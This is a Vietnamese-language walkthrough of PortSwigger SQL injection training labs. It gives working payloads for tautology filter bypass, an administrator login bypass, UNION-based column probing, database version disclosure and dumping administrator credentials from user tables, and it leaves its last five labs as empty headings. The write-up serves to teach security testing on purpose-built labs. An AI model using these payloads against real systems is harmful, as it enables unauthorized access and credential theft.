Contents

PortSwigger - SQL Injection

1. SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

Link lab tại đây

Level: APPRENTICE

Description

Lab này chứa lỗ hổng SQLi trong bộ lọc danh mục sản phẩm. Khi người dùng chọn một danh mục, ứng dụng sẽ thực hiện truy vấn SQL như sau:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

Để giải quyết bài lab, khiến ứng dụng hiển thị một hoặc nhiều sản phẩm chưa được phát hành.

Step

Đầu tiên click vào một category bất kỳ Sau khi nhấp vào Accessories category, URL hiển thị:

https://0a8000e303dd05e481ca2ff0002600bb.web-security-academy.net/filter?category=Accessories

Để ý những từ in đậm là chuỗi truy vấn. Ứng dụng sẽ thực hiện một truy vấn SQL để lấy thông tin từ cơ sở dữ liệu.

SELECT * FROM products WHERE category = 'Accessories' AND released = 1

Mục tiêu là lấy tất cả thông tin sản phẩm, từ tất cả danh mục và cả sản phẩm đã phát hành và chưa phát hành. Câu lệnh trên hiển thị released = 1 nghĩa là nó sẽ chỉ hiển thị các sản phẩm đã được phát hành, trong đó released = 0 đại diện cho các sản phẩm chưa được phát hành.

https://github.com/g03m0n/pics/assets/130943529/b7e609f3-7cce-41e3-9ab9-369ad27412c6

Tiếp theo nếu thêm một dấu ' vào cuối chuỗi truy vấn

?category=Accessories'

Câu truy vấn sẽ là

SELECT * FROM products WHERE category = 'Accessories'' AND released = 1

Điều này sẽ gây ra lỗi vì có một dấu ' chưa được đóng.

https://github.com/g03m0n/pics/assets/130943529/56dafa3c-50ff-4076-baf0-2c3682dfddf0

Tiếp theo, thêm 2 dấu gạch ngang:

?category=Accessories' --

Câu truy vấn sẽ là

SELECT * FROM products WHERE category = 'Accessories' --' AND released = 1

Trong MySQL, mọi thứ sau dấu -- sẽ được coi là comment. Có nghĩa là bây giờ trang web sẽ hiển thị tất cả các sản phẩm thuộc danh mục Accessories, cả releasedunreleased.

https://github.com/g03m0n/pics/assets/130943529/6499966e-e862-419e-8689-93fa508ff06c

Để hiển thị đầy đủ mọi thứ trong cơ sở dữ liệu:

?category=Acesssories' or '1'='1' --'

Chuỗi truy vấn lúc này sẽ là:

SELECT * FROM products WHERE category = 'Accessories' or '1'='1'--' AND released = 1

Với truy vấn trên, nó sẽ trả về tất cả các sản phẩm khi CategoryAccessories hoặc 1 = 1 , vì 1 = 1 luôn đúng nên nó sẽ trả về tất cả các sản phẩm.

https://github.com/g03m0n/pics/assets/130943529/a540c637-2585-4e7a-bd14-23f446bf1950

Solved

https://github.com/g03m0n/pics/assets/130943529/aebe931f-19d4-4aa1-b3e9-d72fd4319c5d

2. SQL injection vulnerability allowing login bypass

Link lab tại đây

Level: APPRENTICE

Description

Lab này chứa lỗ hổng SQL Injection trong chức năng đăng nhập.

Để giải quyết bài lab, thực hiện một cuộc tấn công SQLi để đăng nhập vào ứng dụng với tư cách là administrator.

Step

Đầu tiên ấn vào My account để vào giao diện login Thử đăng nhập với tài khoản administrator và mật khẩu bất kỳ.

https://github.com/g03m0n/pics/assets/130943529/bf922b41-21d9-4213-b112-5e8d3c008d6c

Khi đăng nhập, câu truy vấn sẽ có dạng:

SELECT * FROM users WHERE username = 'administrator' AND password = 'password'

Tiếp theo ta thử thêm 1 dấu ' vào cuối administrator và đăng nhập.

https://github.com/g03m0n/pics/assets/130943529/52274f60-bc36-4405-8774-a2da5809099c

Server sẽ bị lỗi, điều này cho thấy server bị lỗi SQL Injection. Nếu ta tiêm vào username câu lệnh: administrator' or '1' = '1' -- Câu truy vấn sẽ có dạng:

SELECT * FROM users WHERE username = 'administrator' or '1' = '1' --' AND password = 'password'

Bất kể mật khảu của tài khoản administrator có đúng hay không, vì 1 = 1 sẽ luôn trả về true và dấu -- sẽ comment phần còn lại của câu lệnh ' AND password = 'password' nên nó sẽ đăng nhập vào tài khoản administrator.

https://github.com/g03m0n/pics/assets/130943529/7bc23f05-12c8-4014-b771-189ef7696b32

Đăng nhập thành công. Solved

https://github.com/g03m0n/pics/assets/130943529/74fe5a4d-65f7-4d1d-89c6-504f56906344

3. SQL injection attack, querying the database type and version on Oracle

Link lab tại đây

Level: PRACTITIONER

Description

Lab này chứa lỗ hổng SQL Injection trong filter danh mục sản phẩm. Sử dụng UNION Attack để truy xuất kết quả từ truy vấn được chèn. Để giải bài lab, hãy hiển thị phiên bản của cơ sở dữ liệu.

Step

Trong Oracle, built-in table có tên là dual, do vậy, ta có thể dò cột bằng cách sử dụng UNION SELECT và gọi FROM đến bảng dual.

SELECT * FROM products WHERE category = 'Accessories' UNION SELECT null FROM dual --'

Lặp đi lặp lại câu lệnh, mỗi lần tăng số lượng null. Ta có thể tìm thấy số lượng cột chính xác bằng cách thêm ' UNION (select null, null)--.

SELECT * FROM someTable WHERE category = 'Accessories' UNION (SELECT null, null) FROM dual --'

https://github.com/g03m0n/pics/assets/130943529/6bc8e7d8-3489-4f87-9037-1581c026b061

Đến đây, ta có thể biết được version của database bằng payload: ' UNION SELECT NULL,banner FROM v$version --'

SELECT * FROM products WHERE category = 'Accessories' UNION SELECT NULL,banner FROM v$version --'

https://github.com/g03m0n/pics/assets/130943529/dd447be6-5f4c-4876-aaa5-577bff3aed6c

Solved

https://github.com/g03m0n/pics/assets/130943529/6e71a454-3857-457f-9dae-605630d25a9c

4. SQL injection attack, querying the database type and version on MySQL and Microsoft

Link lab tại đây

Level: PRACTITIONER

Description

Lab này chứa lỗ hổng SQL Injection trong filter danh mục sản phẩm. Sử dụng UNION Attack để truy xuất kết quả từ truy vấn được chèn. Để giải bài lab, hãy hiển thị phiên bản của cơ sở dữ liệu.

Step

Lab này tương tự như lab về Oracle Datable nhưng sử dụng MySQL Database. Đầu tiên ta cũng dự đoán số cột tương tự lab 3 . Database lần này cũng gồm 2 cột sau khi thử: Accessories' UNION SELECT NULL,NULL --'

https://github.com/g03m0n/pics/assets/130943529/43ab0cd4-818f-4b73-b72e-b4fe1623432e

Đến đây, ta có thể biết được version của database bằng payload: ' UNION SELECT NULL,@@version --'

https://github.com/g03m0n/pics/assets/130943529/a332d405-ea94-4692-87dc-01c5e4a08612

Solved

https://github.com/g03m0n/pics/assets/130943529/5a5c3803-2cd7-42b0-a884-68982edd8373

5. SQL injection attack, listing the database contents on non-Oracle databases

Link lab tại đây

Level: PRACTITIONER

Description

Lab này yêu cầu ta tìm kiếm account của administrator để login. Tuy vậy, ta chưa biết database loại nào mà chỉ biết nó không phải là Oracle mà thôi.

Step

Đầu tiên, ta sẽ dò số cột trong database:

https://github.com/g03m0n/pics/assets/130943529/be23cc16-ac79-472d-a614-6c221cb41210

Như vậy ta đã biết trong database có 2 cột. Thử một số cách kiểm tra version của database ta có thể biết được server dụng PostgreSQL.

https://github.com/g03m0n/pics/assets/130943529/f5146dd6-4243-4d61-a051-3f64450bd861 https://github.com/g03m0n/pics/assets/130943529/ab0e5cd9-869e-4d8e-a3ae-55d086781490

Ta sử dụng payload này để kiểm tra tên bảng có trong database: ' UNION SELECT NULL, table_name FROM information_schema.tables --'

https://github.com/g03m0n/pics/assets/130943529/afbeeacd-34f9-431f-98ef-710730e6123f

Có 2 bảng là pg_userusers_excods Kiểm tra lần lượt các cột trong 2 bảng này thì phát hiện ra trong bảng user_excods có 2 cột khả nghi.

Payload: ' UNION SELECT null,column_name FROM information_schema.columns WHERE table_name='users_excods' --'

https://github.com/g03m0n/pics/assets/130943529/79d18845-ea22-4da3-8a98-2d518a6556eb

Kiểm tra 2 cột, ta biết được tài khoản/mật khẩu của administrator.

Payload: ' UNION SELECT username_tjzvcx, password_ligkez FROM users_excods --'

https://github.com/g03m0n/pics/assets/130943529/4fdb6294-d823-43ca-a52c-b2f76bb1a2ed

Solved

https://github.com/g03m0n/pics/assets/130943529/0a4ac736-2d3b-4b75-bcd0-b13c851b2f8f

6. SQL injection attack, listing the database contents on Oracle

Link lab tại đây

Level: PRACTITIONER

Description

Lab này yêu cầu ta tìm kiếm account của administrator để login. Sử dụng Oracle Database.

Step

Giống với lab 5 ở trên nên mình sẽ làm tương tự.

Payload: ' UNION SELECT NULL, table_name from all_tables --'

https://github.com/g03m0n/pics/assets/130943529/dd41f87a-e4dd-4e9d-8269-404d942bf73d

https://github.com/g03m0n/pics/assets/130943529/f9443f31-0854-4a2c-b687-2c07e3cad08a

Tìm được bảng có tên USERS_JBIWMO. Tiếp tục tìm kiếm các cột có trong bảng USERS_JBIWMO

https://github.com/g03m0n/pics/assets/130943529/86ee64d8-95d9-434a-bc3d-6363f5750811

Ta tìm được tài khoản/mật khẩu của administrator với payload:

Payload: ' UNION SELECT USERNAME_EYKUIK, PASSWORD_ISAXTU FROM USERS_JBIWMO --' https://github.com/g03m0n/pics/assets/130943529/a6c502fb-c261-4817-8aa9-94ea4dfa2daf

Solved

https://github.com/g03m0n/pics/assets/130943529/9f778076-2972-4054-8f91-353430131344

7. SQL injection UNION attack, determining the number of columns returned by the query

Link lab tại đây

Level: PRACTITIONER

Description

Bài lab yêu cầu ta xác định số cột của bảng bằng cách sử dụng SQL injection UNION attack.

Step

Tương tự cách xác định cột tại đây .

Payload: ' UNION SELECT NULL, NULL, NULL --'

https://github.com/g03m0n/pics/assets/130943529/82247e56-8151-4cb7-916c-de377c7241d3

Solved

https://github.com/g03m0n/pics/assets/130943529/4a467a23-0918-48fd-8bfa-b1f23e91d2b5

8. SQL injection UNION attack, finding a column containing text

Link lab tại đây

Level: PRACTITIONER

Description

Bài lab yêu cầu ta tìm chuỗi dữ liệu cho trước 64fl9W bằng cách sử dụng SQL injection UNION attack.

Step

Đầu tiên ta cũng xác định số cột của bảng .

Payload: ' UNION SELECT NULL, NULL, NULL --'

https://github.com/g03m0n/pics/assets/130943529/8a4e24f1-d76c-4c29-b012-d77e657bad4c

Với UNION Attack, ta có thể tìm một cột chưa giá trị loại string bằng cách thử chèn đoạn string cần tìm vào:

Payload: ' UNION SELECT NULL, '64fl9W' ,NULL --'

https://github.com/g03m0n/pics/assets/130943529/df780ef4-9b39-4abb-85a2-8773202bd06b

Solved

https://github.com/g03m0n/pics/assets/130943529/43637a06-8931-4b6b-a0c0-afcf3b956355

9. SQL injection UNION attack, retrieving data from other tables

Link lab tại đây

Level: PRACTITIONER

Description

Step

10. SQL injection UNION attack, retrieving multiple values in a single column

Link lab tại đây

Level: APPRENTICE

Description

Step

11. Blind SQL injection with conditional responses

Link lab tại đây

Level: PRACTITIONER

Description

Step

12. Blind SQL injection with conditional errors

Link lab tại đây

Level: PRACTITIONER

Description

Step

13.

Link lab tại đây

Level: PRACTITIONER

Description

Step